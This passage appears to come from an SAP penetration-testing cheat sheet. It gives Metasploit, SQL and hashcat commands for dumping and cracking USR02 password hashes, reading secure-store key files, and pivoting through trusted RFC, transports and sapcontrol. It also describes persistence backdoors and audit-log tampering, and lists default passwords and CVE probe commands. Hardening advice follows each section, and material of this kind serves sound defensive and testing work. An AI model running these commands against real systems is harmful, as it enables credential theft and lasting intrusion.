STMSS_CTS_ADMICross-system transport RCE
RZ10/RZ11S_RZL_ADMChange profile parameters
DBACOCKPITS_DBCONDirect database access

Detection / hardening: rsau/enable = 1 with filters for AU* (logon), AUE (RFC), AU3/CUK/CUL (debug) and transaction-start; forward SM20/RSAU to SIEM; baseline critical-auth holders with RSUSR008_009_NEW.


11. Credential Extraction & Cracking

SAP stores password hashes in the USR02 table. All applicable hash types are generated simultaneously when a password is set, so a modern password can still leave a weak BCODE. Crack CODVN B first — it yields the uppercase password you reuse to target CODVN H.

11.1 USR02 fields and CODVN reference

CODVNUSR02 columnAlgorithmMax lenhashcat
BBCODEMD5 (DES-ish), uppercase only87700 / 7701
DBCODEas B, different salt87700
FPASSCODESHA-1 basedfull7800 / 7801
Gmulti-columnSHA-256full7800
HPWDSALTEDHASHiSSHA-256 (PBKDF2)full10300
Imulti-columnall of the above at oncefullper sub-hash

If login/password_downwards_compatibility > 0, a weak BCODE is kept alongside the strong PWDSALTEDHASH (USH02 holds history). Dump everything, crack the weakest.

11.2 Extraction methods

# Preferred: full raw hashes via RFC_ABAP_INSTALL_AND_RUN (no RAW truncation)
msf > use auxiliary/scanner/sap/sap_rfc_usr02
msf > set RHOSTS <TARGET>; set RPORT 3300; set CLIENT 000
msf > set USERNAME <USER>; set PASSWORD <PASS>; run
# loot -> ~/.msf4/loot/<date>_sap_usr02_*.txt
# Partial BCODE only (RFC_READ_TABLE truncates RAW fields -> modes 7701/7801)
msf > use auxiliary/scanner/sap/sap_soap_rfc_read_table
msf > set RHOSTS <TARGET>; set RPORT 8000; set CLIENT 000
msf > set TABLE USR02; run
-- Direct HANA (secondary DB of an ABAP system lives in schema SAPABAP1)
-- hdbsql -n <HOST>:30015 -u <DBUSER> -p <DBPASS>
SELECT BNAME,BCODE,PASSCODE,PWDSALTEDHASH FROM "SAPABAP1"."USR02";
* Inside SAP GUI with table-display rights
* SE16 / SE16N -> table USR02 -> fields BNAME BCODE PASSCODE PWDSALTEDHASH -> export local file

Detection / hardening: alert on RFC_READ_TABLE / RFC_ABAP_INSTALL_AND_RUN against USR02/USH02 in SM20 and rsau; restrict S_TABU_DIS/S_TABU_NAM for USR02; set login/password_downwards_compatibility = 0.

11.3 Cracking with hashcat

# Hash file formats
# CODVN B/F:  <USERNAME>$<HEXHASH>          e.g. ADMIN$1F2A3B4C5D6E7F8A
# CODVN H:    {x-issha, 1024}<base64hash>   (no username prefix)

# CODVN B (uppercase, <=8) — fastest win
hashcat -a 0 -m 7700 hashes_b.txt rockyou.txt
hashcat -a 3 -m 7700 hashes_b.txt '?u?u?u?u?u?u?u?u'   # brute, uppercase
# CODVN B partial (truncated RFC_READ_TABLE output)
hashcat -a 0 -m 7701 partial_b.txt rockyou.txt
# CODVN F (SHA-1)
hashcat -a 0 -m 7800 hashes_f.txt rockyou.txt -r best64.rule
# CODVN H (iSSHA-256 / PBKDF2) — slowest, seed from the B crack
hashcat -a 0 -m 10300 hashes_h.txt rockyou.txt
# Reuse the uppercase B result to crack the real mixed-case password (F/H)
hashcat --stdout PASSWORD123 -r toggles.rule > mutations.txt
hashcat -a 0 -m 7800 hashes_f.txt mutations.txt

Detection / hardening: enforce login/min_password_* and current CODVN H only; monitor SM20 for mass logon failures after a dump.

11.4 Other credential stores

# SM59 RFC passwords: RFCDES table, protected by RSECTAB secure store (rsecssfx/SSFS)
cat /usr/sap/<SID>/SYS/global/security/rsecssfs/data/SSFS_<SID>.DAT   # + .KEY to decrypt
# SAPCRYPTO PSE files — export key material with sapgenpse
sapgenpse export_own_cert -p SAPSYS.pse -o cert.crt
# Java SECSTORE — properties file + its key
cat /usr/sap/<SID>/SYS/global/security/data/SecStore.properties       # + SecStore.key
# HANA client stored keys; <sid>adm (group sapsys) owns all of the above
hdbuserstore list
# Saved SAP GUI logon entries on an operator box
cat "%APPDATA%\SAP\Common\saplogon.ini"

Detection / hardening: restrict OS access to <sid>adm; file-integrity-monitor the rsecssfs/security/data directories; rotate RFC/SSFS keys after any host compromise.

12. Lateral Movement & Persistence

12.1 Trusted RFC destinations

* SM59 -> destinations of type 3 with "Trust Relationship" set hop into the
* target with the caller's identity if S_RFCACL is granted. rfc/trusted must be on.
* Enumerate from RFCDES, then call across with no password:
CALL FUNCTION 'RFC_PING' DESTINATION '<TRUSTED_DEST>'.

Detection / hardening: audit S_RFCACL holders; prefer UCON + SNC; remove stored high-privilege RFC logon users.

12.2 Solution Manager as a hub

# SolMan holds read/write RFC into every managed system (SMSY / LMDB topology).
# Compromise SolMan -> pivot everywhere. Enumerate managed systems:
# t-codes SMSY / LMDB; RFC destinations SM_<SID>CLNT<nnn>_* (READ/TRUSTED/TMW)

Detection / hardening: treat SolMan as a Tier-0 system; patch CVE-2020-6207; monitor its outbound RFC calls.

12.3 Transports as cross-landscape code execution

# A transport request moves ABAP objects DEV -> QAS -> PRD. Inject a report,
# import it, and you run code on PRD. STMS drives it; tp runs at OS level.
tp addtobuffer <SID>K900123 PRD pf=/usr/sap/trans/bin/TP_DOMAIN_<SID>.PFL
tp import <SID>K900123 PRD client=100 U126 pf=/usr/sap/trans/bin/TP_DOMAIN_<SID>.PFL

Detection / hardening: restrict S_TRANSPRT/S_CTS_ADMI; enable transport signing; review the import log (STMS -> Import History).

12.4 Java → ABAP via UME / JCo

# AS Java UME often sources users from an ABAP backend over an RFC connector.
# Those JCo destination creds (admin) pivot Java -> ABAP.
# NWA -> Configuration -> Security -> UME -> Data Sources, and
# /usr/sap/<SID>/SYS/global/security/data/* JCo destination entries

Detection / hardening: use a dedicated low-privilege UME communication user, never SAP_ALL.

12.5 OS-level pivoting

# <sid>adm SSH keys reach every host in the SID; sapcontrol/saphostctrl drive services
ssh <sid>adm@<node>            # reuse id_rsa from ~<sid>adm/.ssh
sapcontrol -nr <NN> -function StartSystem
sapcontrol -nr <NN> -function ReadLogFile /usr/sap/<SID>/.../dev_w0
sapcontrol -nr <NN> -function ExecuteOperation <op>
saphostctrl -function ExecuteOperation -name <op>

Detection / hardening: restrict sapstartsrv auth (service/protectedwebmethods = SDEFAULT); lock down <sid>adm SSH; monitor Host Agent (ports 1128/1129).

12.6 Persistence techniques

* ABAP backdoor report scheduled recurring: SE38 Z-report (resets SAP*/grants SAP_ALL) + SM36 job
* ICF handler backdoor: SICF -> new service -> custom handler class runs on every HTTP hit
* Rogue superuser + re-enable SAP* kernel backdoor:
*   RZ10 login/no_automatic_user_sapstar = 0 -> delete SAP* -> logon SAP*/PASS
*   SU01 create user, assign SAP_ALL + SAP_NEW
* Java: add a UME administrator. HANA: alternate SYSTEM-equivalent user. Tamper RSAU to blind audit.

Detection / hardening: alert on new SAP_ALL grants, login/no_automatic_user_sapstar changes, SICF service creation, and RSAU config edits; baseline scheduled jobs (SM37).

13. Detection & Hardening

Checklist, by domain. Verify on every instance, Web Dispatcher and DB node.

Network / gateway

  • gw/acl_mode = 1 with tight secinfo/reginfo; ms/acl_info set, internal MS port not exposed
  • SAPRouter saprouttab default-deny (no open /H/); Web Dispatcher admin port not internet-facing

ICF / web

  • Unused SICF services deactivated (webdynpro, soap/rfc, test); /sap/public/info restricted
  • Visual Composer metadatauploader removed (Note 3593336 Option 0)

Authentication

  • login/* hardened (lockout, min length, no multiple logons, no downward compat)
  • SNC on DIAG + RFC; SSO ticket flags (login/ticket_only_by_https, HttpOnly); MFA via SAML IdP
  • Default accounts disabled or rotated

RFC / patching

  • S_RFC/S_RFCACL least-privilege; UCON enabled; no stored high-priv SM59 trusted users
  • Patch Day tracked (2nd Tue monthly) + emergency notes; SysRec/SP level compared (config-only fixes audited separately)

Logging / monitoring

  • Audit log on (rsau/enable = 1, all filters, reviewed in SM20); gateway gw/logging/dev_rd on
  • ICM icm/HTTP/logging_* LOGFORMAT=SAPSMD FILEWRAP=off; AS Java security_audit.log shipped from all nodes; HANA audit on
  • SIEM feed: logon failures, admin/ACL changes, /ctc/* /developmentserver/* probes

AS Java / HANA

  • UME lockdown; P4/rmi_p4 disabled or network-isolated; EnableInvokerServletGlobally=false; Log Viewer/NWA not external
  • HANA SYSTEM user deactivated after setup; audit + network encryption on; no default/blank DB creds

14. CVE Table

Newest first. Probe = one quick check; patch level = compare component SP/patch level, no safe remote probe.

CVECVSSComponentSAP NoteProbeStatus
CVE-2026-8911110.0SAP Cloud SDK for Python—grep -r sap-cloud-sdk; pin/upgradeOct-2026
CVE-2026-891109.9NetWeaver Visual Composer VC70RUNTIME 7.50 (broken access control)3797111curl -sk <T>:50000/VisualComposer/ w/ low-priv acctOct-2026
CVE-2026-891079.9S/4HANA—patch levelOct-2026
CVE-2026-891089.1Manufacturing Integration & Intelligence (MII)—patch levelOct-2026
CVE-2026-582497.5ICM memory corruption (NetWeaver + Web Dispatcher), HTTP/2 only3765424curl -skI --http2 <T>:443/ -> HTTP/2unauth DoS
CVE-2026-401289.0AS Java Web Container, unauth path traversal via logon request3727078patch level (AC:H)Jun-2026
CVE-2025-429579.9S/4HANA ABAP code injection(Aug-2025)patch levelExploited ITW
CVE-2025-4294410.0AS Java SERVERCORE 7.50, RMI-P4 deserialization -> OS RCE3634501is P4 (5NN04/06) reachable?unauth
CVE-2025-429999.1NetWeaver Visual Composer deserialization3604119patch level (PR:H; chains 31324)KEV, ransomware
CVE-2025-313249.8/10.0NetWeaver Visual Composer metadata uploader, unauth upload3594142curl -sk <T>:50000/developmentserver/metadatauploaderKEV, ITW
CVE-2025-00708.1NetWeaver AS ABAP, improper auth(Jan-2025)patch levelauth bypass
CVE-2025-00667.5NetWeaver AS ABAP, info disclosure(Jan-2025)patch level—
CVE-2024-417309.8BusinessObjects BI Platform, missing auth check(Oct-2024)token via REST, no authcritical
CVE-2024-247438.6CAF Guided Procedures 7.50, unauth crafted XML -> file read3426111patch levelXXE
CVE-2023-238579.9AS Java 7.50, unauth JNDI/naming-API access cross-system3252433is P4 reachable?unauth
CVE-2022-2253610.0ICM/kernel + Web Dispatcher, HTTP request smuggling (ICMAD)3123396onapsis_icmad_scanner; sapcontrol -function GetVersionInfoKEV
CVE-2022-412729.9PI User Defined Search 7.50, unauth JNDI3273480patch levelunauth
CVE-2022-412719.4PI Messaging System 7.50, unauth JNDI3267780patch levelunauth
CVE-2020-628710.0AS Java LM Configuration Wizard / CTC (RECON), unauth admin user2934135msf .../sap_reconKEV
CVE-2020-620710.0Solution Manager EEM, missing auth2890213curl <T>:50000/EemAdminService/EemAdmin?wsdlKEV
CVE-2020-62039.1UDDI Server (Services Registry) 7.10–7.50, path validation2806198patch level—
CVE-2017-126377.5AS Java scheduler UI, unauth arbitrary file read via ..2486657curl <T>:50000/scheduler/ui/...?..%2f..%2fKEV
CVE-2016-39767.5AS Java 7.1–7.5 CrashFileDownloadServlet, unauth file read2234971curl <T>:50000/.../CrashFileDownloadServletKEV
CVE-2016-23869.8AS Java UDDI, SQL injection2101079patch levelKEV
CVE-2010-532610.0AS Java Invoker Servlet, unauth invocation -> RCE1445998curl <T>:50000/servlet/<Class>KEV

Probes are illustrative; confirm the exact SAP Note and affected SP for the target release. Last reviewed: 2026-10-29.

Sources: SAP Security Patch Day — October 2026 · Onapsis research · SecurityBridge blog · CISA KEV catalog.

15. Quick Reference

Ports

PortService
3200+XXDispatcher (DIAG / SAP GUI)
3300+XXGateway (RFC)
3600+XXMessage Server (/msgserver/text/logon leak)
8000+XX / 44300+XXICM HTTP / HTTPS
50000 / 50013AS Java HTTP / HTTPS
50014Java admin console
5NN04 / 5NN06P4 / P4SEC (RMI)
3299SAPRouter
1128 / 1129SAP Host Agent
30015HANA SQL

Default accounts

UserPasswordNotes
SAP*06071992 / PASSkernel superuser
DDIC19920706dictionary admin
TMSADM$1Pawd2& / ADMINtransport
SAPCPICADMINCPI-C
EARLYWATCHSUPPORTmonitoring

Must-check endpoints

# ABAP
curl http://<T>:8000/sap/bc/ping ; curl http://<T>:8000/sap/public/info ; curl http://<T>:8000/sap/bc/soap/rfc/
# Java
curl http://<T>:50000/irj/portal
curl http://<T>:50000/developmentserver/metadatauploader   # CVE-2025-31324 / 2020-6287
curl http://<T>:50000/ctc/ ; curl http://<T>:50000/servlet/   # config wizard / invoker servlet

Top t-codes

T-CodeUse
SE38 / SA38run ABAP reports
SE16 / SE16Ntable browse (USR02)
SU01user maintenance
PFCGrole maintenance
SUIMfind auth-object holders
SM59RFC destinations
SM36 / SM37background jobs
STMStransports
SM69external OS commands
RZ10profile parameters

Top msf modules

auxiliary/scanner/sap/sap_service_discovery
auxiliary/scanner/sap/sap_icm_urlscan
auxiliary/scanner/sap/sap_rfc_usr02           # full USR02 hashes
auxiliary/scanner/sap/sap_soap_rfc_read_table # partial table read
auxiliary/scanner/sap/sap_recon               # CVE-2020-6287

hashcat modes

7700 CODVN B · 7701 B partial · 7800 CODVN F · 7801 F partial · 10300 CODVN H.

Key profile parameters

gw/acl_mode = 1                             # gateway ACL enforced
ms/acl_info = <file>                        # message server ACL
rsau/enable = 1                             # security audit log on
login/no_automatic_user_sapstar = 1         # kill SAP* backdoor
login/password_downwards_compatibility = 0  # no weak BCODE
service/protectedwebmethods = SDEFAULT      # sapstartsrv lockdown
# AS Java: EnableInvokerServletGlobally = false

16. References